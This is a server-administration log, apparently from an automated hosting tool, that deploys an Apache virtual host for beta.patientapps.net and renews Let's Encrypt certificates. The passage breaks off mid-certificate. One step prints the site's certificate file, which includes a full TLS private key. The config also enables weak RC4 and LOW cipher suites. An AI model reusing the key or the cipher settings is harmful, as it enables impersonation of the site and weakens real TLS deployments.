    <Directory /var/www/patientapps_beta>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/beta_access.log combined
    ErrorLog	/var/log/apache2/patientapps/beta_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    SetEnv build	beta
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	beta.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8
    DocumentRoot	/var/www/patientapps_beta
    <Directory /var/www/patientapps_beta>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/beta_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/beta_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnv build	beta
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>






2025-09-24 06:00:12: 

PUT: /tmp/pkp664370

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_beta_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_beta_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	beta.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_beta
    <Directory /var/www/patientapps_beta>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/beta_access.log combined
    ErrorLog	/var/log/apache2/patientapps/beta_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    SetEnv build	beta
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	beta.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8
    DocumentRoot	/var/www/patientapps_beta
    <Directory /var/www/patientapps_beta>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/beta_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/beta_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnv build	beta
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_beta_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_beta_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_beta_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_beta_net.conf= 1'
fi


2025-09-24 06:00:12: 

chmod 755 /tmp/pkp664370; /tmp/pkp664370; rm /tmp/pkp664370

2025-09-24 06:00:12: 




2025-09-24 06:00:12: 

PUT: /tmp/pkp648855

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-24 06:00:12: 

chmod 755 /tmp/pkp648855; /tmp/pkp648855; rm /tmp/pkp648855

2025-09-24 06:00:12: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-24 06:00:12: Establishing a connection
2025-09-24 06:00:12: 

PUT: /tmp/pkp930178

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-24 06:00:13: 

chmod 755 /tmp/pkp930178; /tmp/pkp930178; rm /tmp/pkp930178

2025-09-24 06:00:13: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-24 06:00:13: 

PUT: /tmp/pkp652691

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_beta_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-24 06:00:13: 

chmod 755 /tmp/pkp652691; /tmp/pkp652691; rm /tmp/pkp652691

2025-09-24 06:00:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_beta_net.conf	1621
<VirtualHost *:80>
    ServerName	beta.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_beta
    <Directory /var/www/patientapps_beta>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/beta_access.log combined
    ErrorLog	/var/log/apache2/patientapps/beta_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    SetEnv build	beta
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	beta.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8
    DocumentRoot	/var/www/patientapps_beta
    <Directory /var/www/patientapps_beta>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/beta_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/beta_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnv build	beta
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>







2025-09-24 06:00:13: 

PUT: /tmp/pkp329817

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-24 06:00:13: 

chmod 755 /tmp/pkp329817; /tmp/pkp329817; rm /tmp/pkp329817

2025-09-24 06:00:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8	5364
77:da:7c:94:63:80:a0:72:a6:36:a5:85:52:fd:b5:52

-----BEGIN CERTIFICATE-----
MIIFBDCCA+ygAwIBAgISBTr37G35gidfi9Z23/uNiibaMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTI0MDUwMTQwWhcNMjUxMjIzMDUwMTM5WjAfMR0wGwYDVQQD
ExRiZXRhLnBhdGllbnRhcHBzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBAL/T3goLmxg8+tJURk49c3Z9I6quir5deJ4cL+ctVMWGlFwgHKhtRYcy
bYB6U+RgGIpABhngisbSKtIA9jtU8GIZcMsT0LQxTF4fyUgWzAMXm4ocuh7P1YDn
HovxmiJUgHqTsYi6C54OS2kbOYBS+Nmqg60yov16BqDxBAjI2/kwhgLie3+eDHcW
d7BAonTs3dfEB+/XHQI5ws+3yNdcyIVCK28AB4nUZC/5AgB8fPSNS2G579Vd50y9
3t7OFsXUW1w69en/9wpdK5vmJCCA5jLSR5uVfQsYYOm0cLVg8NmvBx2nJGmNgcBf
Dy+ErYrA4BY0tVdu6WkUfycBC8pnunkCAwEAAaOCAiQwggIgMA4GA1UdDwEB/wQE
AwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIw
ADAdBgNVHQ4EFgQUisxLTBYAEl3R1tKjv9glgkTYmJ8wHwYDVR0jBBgwFoAU56uf
DywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdo
dHRwOi8vcjEzLmkubGVuY3Iub3JnLzAfBgNVHREEGDAWghRiZXRhLnBhdGllbnRh
cHBzLm5ldDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1o
dHRwOi8vcjEzLmMubGVuY3Iub3JnLzkxLmNybDCCAQQGCisGAQQB1nkCBAIEgfUE
gfIA8AB2ABLxTjS9U3JMhAYZw48/ehP457Vih4icbTAFhOvlhiY6AAABmXpO1U0A
AAQDAEcwRQIgIpyz8kmfEOuSe4Q253pmn1B4f+BmGj/iB5awaWdIJNUCIQD1b9fZ
9oF70jtb/bx4hA8c5uhlhMOIshRSPjn+cWRtSAB2ABmG1Mcoqm/+ugNveCpNAZGq
zi1yMQ+uzl1wQS0lTMfUAAABmXpO1XgAAAQDAEcwRQIhAOPiJIQP5o2j4Pn7gmiK
q2BX+iHWLDyAD4aXIfp0/7GZAiAJzE+zvhQXSHKEPx/OsiCwt69gBCTkL60kvBJl
36SMVjANBgkqhkiG9w0BAQsFAAOCAQEAaZFHG1X312M0YALqnnW9LNP+BIUCl0wR
XSOgxrCtBVRXCOXTJsvtLz8n1s/mdWWrb6DuN02EDvUAumCBbk11nzjs/slA8hde
lWAU9EZVMAJi4iRVzo71996TBSsCD4PWA13/u699k8kTSgKl4GkNU+GtV1ViZ/6u
7RPX5Tf48oAsrCgbODHgmRaqq3ZFYlpYk4j4zJDbutE7/YaItoB6HiSvy/YWVlkr
wAY6oytndZPS2xutY+aitCc1LvKUjvfEpj5FhhjLWWsSrlWXlZhz8e0PUQPgR3QZ
Uf2jklS3/6JjDN/se4f9EvNAC6dyz2Bfhdy/Tk+6On7in22Ng7Mlxg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC/094KC5sYPPrS
VEZOPXN2fSOqroq+XXieHC/nLVTFhpRcIByobUWHMm2AelPkYBiKQAYZ4IrG0irS
APY7VPBiGXDLE9C0MUxeH8lIFswDF5uKHLoez9WA5x6L8ZoiVIB6k7GIugueDktp
GzmAUvjZqoOtMqL9egag8QQIyNv5MIYC4nt/ngx3FnewQKJ07N3XxAfv1x0COcLP
t8jXXMiFQitvAAeJ1GQv+QIAfHz0jUthue/VXedMvd7ezhbF1FtcOvXp//cKXSub
5iQggOYy0keblX0LGGDptHC1YPDZrwcdpyRpjYHAXw8vhK2KwOAWNLVXbulpFH8n
AQvKZ7p5AgMBAAECggEAPlqpJ0zEemmAApSAUfhpqs9co6Oe1+hcR9DTxWqXzqlD
WnrZtennGt5Kd+PLl0WhVHchRJIXqi8w2hiT8Y9XoBuy7WAgjCImN8ZPUE6QvESV
O5zA5zkZpo/5/vVm69fZ935AzDflhNgSrTS7STovR9nEea0nDAv5UaFmdVCNKH+L
ONf0Ik60yASVCBK56Ux+Zwhi60EHrRVC7FGHf2KdCk59yujgZMglkEbzQKgBcq5H
gwUvmJM6bQIMeaqmoDJa84mGkYD+Qxd2sQdmaKyFzEafCCfVoFj0v5ktbIyZla0l
wL7KisgUCFIGGGhHu5HGHEFWJ2QeoeL92LbQRDXYfQKBgQD6iPaINeq2dJ97dU5g
asEBl7/udki3RLwNlDWxr2NpqwOscCtlWeGMra7Ggk08J0trPwug/mzXKPaS9bZq
HipClClMP6RRsqsGBTedB8GP7S/vidSnhdt+mCDwBUFuCx0OW9BaNQ7HTUAf8zx7
jO0OlsjXNErRFNUN9LzAH1peOwKBgQDEAxIRnap0S8bTgiysV7NhcO2Xkw6e3jnx
igvhbcScQsMp3I/VAvx2n0HKP6UB30AL7ySrOteAsF9qPrya/dz8xV8Wa3Qs8T3S
9ARx01Zo/z67DojG586XD52DPSfD3TXRzJBRdma7gJ2HjxNCIdxOZypeo6X/3Lr7
JN8vHYN62wKBgEWULiusFbBweS5XaNn8K/geRe6bKRzE2RlIVRUw6YIaPZ3xVQwD
x1FDlyuIWpzfKOHzE2612lJzDO/Jj8yu7fupnEKR1jfeUAMPBd/1nHs1Wz/CXq3b
zha9d0BRpVdDfOFU/GthGuac/Lci3WROwjNwCv1Bh5nDmFwU4SrWSkmrAoGAMUxg
aAPSkitY12t/Ft175T8E0sGOxNA5nJFOyaTU9UQpV8b8eeOlYaROZLK7KoxezGGa
RGKpPtmdNdiPkR/WS9DMSJRABOmr1fm/gG1Z51CDE4LlTbmRkRbBU/e2n6FsXtbn
WUXBMtl3RVfrzQ89HI7/7guUvZRjhrTQWUZAAk8CgYEAt/s4RCTd6t50I1iG5pyV
IUNzLFGWnKzG1zT1zS8Rvhne8mb46rcD8oXXMjDWu6t5r4FEN60WMdXpMM5MufQc
/cqTkwnKXhCnLAJX1wrgLLIPSJObu9hV8NLGHV/Xbmx0pYZBJKeI1PQbNKmeeEoN
1WM5dWMpEOYELpzun1t9yIg=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-09-26 06:00:02: Establishing a connection
2025-09-26 06:00:04: Establishing a connection
2025-09-26 06:00:05: 

PUT: /tmp/pkp283356

#!/bin/bash
if [ -d "/var/www/hostz_messier/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-26 06:00:06: 

chmod 755 /tmp/pkp283356; /tmp/pkp283356; rm /tmp/pkp283356

2025-09-26 06:00:06: 


1


2025-09-26 06:00:07: Establishing a connection
2025-09-26 06:00:09: 

PUT: /tmp/pkp400477

#!/bin/bash
mkdir -p "/var/www/hostz_messier/.well-known/acme-challenge/"
cd "/var/www/hostz_messier/.well-known/acme-challenge/"
cat > 1uq2-mk-0RnZwkGSonlDnO75gmGuhAJMV0gEstLD-yk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
1uq2-mk-0RnZwkGSonlDnO75gmGuhAJMV0gEstLD-yk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 1uq2-mk-0RnZwkGSonlDnO75gmGuhAJMV0gEstLD-yk


2025-09-26 06:00:10: 

chmod 755 /tmp/pkp400477; /tmp/pkp400477; rm /tmp/pkp400477

2025-09-26 06:00:10: 




2025-09-26 06:00:15: Establishing a connection
2025-09-26 06:00:17: 

PUT: /tmp/pkp619023

#!/bin/bash
mkdir -p "/var/www/hostz_messier/.well-known/acme-challenge/"
cd "/var/www/hostz_messier/.well-known/acme-challenge/"
rm 1uq2-mk-0RnZwkGSonlDnO75gmGuhAJMV0gEstLD-yk


2025-09-26 06:00:18: 

chmod 755 /tmp/pkp619023; /tmp/pkp619023; rm /tmp/pkp619023

2025-09-26 06:00:18: 




2025-09-26 06:00:18: Establishing a connection
2025-09-26 06:00:19: 

PUT: /tmp/pkp762770

#!/bin/bash
temp_file=$(mktemp)
TARGET=7933e54b4869b54869c55f49aa21a2a8.crt

cat > $temp_file <<'endmsg'
bc:ac:2f:96:53:d3:97:97:81:4d:ce:74:00:47:62:fc

-----BEGIN CERTIFICATE-----
MIIFADCCA+igAwIBAgISBWp8+6T+uPSMzQ7a9g3X5AAJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTI2MDUwMTQzWhcNMjUxMjI1MDUwMTQyWjAcMRowGAYDVQQD
ExFtZXNzaWVyLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAJ113fwEUG2x/58FamR9Phqtdw0KxodjlCHdD14DugX2dIW/qpIc45f84HZ4
o56U6ebCl1g8EZUEhgEl3GtQoldY0osIXUO2198CbFYS6oi3u4wvzi9ihQ1/88nF
mblNtbSeE6YFMbO1MKnOvGXYKXrEnbBuOA6vQ/ph7UtIq1lvzcidWZWOUbFkngO0
LP574OyhdG8omT4lIm+Ysd0BN+MvLB5TG2ReRsxtxpZcY4rsJaLR7RqcpQ3/dCqh
OwbrvJmrRNU+iGN839xq+D+z5uw7lCMbbMQpSLXM7ckqpSXLDa7a2gf/25W0MHN3
jF2Ua+9XIf5ml/kmdh1sWQ6OqfcCAwEAAaOCAiMwggIfMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUyvTPhYJcrQfawAUhG5j8uLYRL9gwHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFtZXNzaWVyLmhvc3R6Lm9y
ZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8v
cjEzLmMubGVuY3Iub3JnLzEwLmNybDCCAQYGCisGAQQB1nkCBAIEgfcEgfQA8gB3
ABLxTjS9U3JMhAYZw48/ehP457Vih4icbTAFhOvlhiY6AAABmYSbl0kAAAQDAEgw
RgIhAJSKe/jbMh0gh+caSmWetSoF5jBuH82dX17fGB9HTIcwAiEAhYomwsLm/kY0
AzsETncKCEmfvqaCR8xyHIg7pwXiwO4AdwCkQsUGSWBhVI8P1Oqc+3otJkVNh6l/
L99FWfYnTzqEVAAAAZmEm58YAAAEAwBIMEYCIQCIs43nontbOwJAVB7KiLRaqp0s
PoC4oYs+h4BaDLGUyAIhAIGCdnYE03sPFuV/7e8Q0lCmKpz+h2u50lj8bIpDeD/Z
MA0GCSqGSIb3DQEBCwUAA4IBAQAGlzvUr7NFBQf2Qs4ZkgxB/X7YpqjJSkR78I37
UqTrXEe8ZltZCZ+zo62Eotct/E4Eu5Ujl/1n/qyVU8e29AX4THPvZ7nI9SswoHvm
SwnR5PMrt5Rw5QkIYeFzTW7XHzWXM7eZ8WYRggxgm71/08hP93tX48AsKeMxqbwr
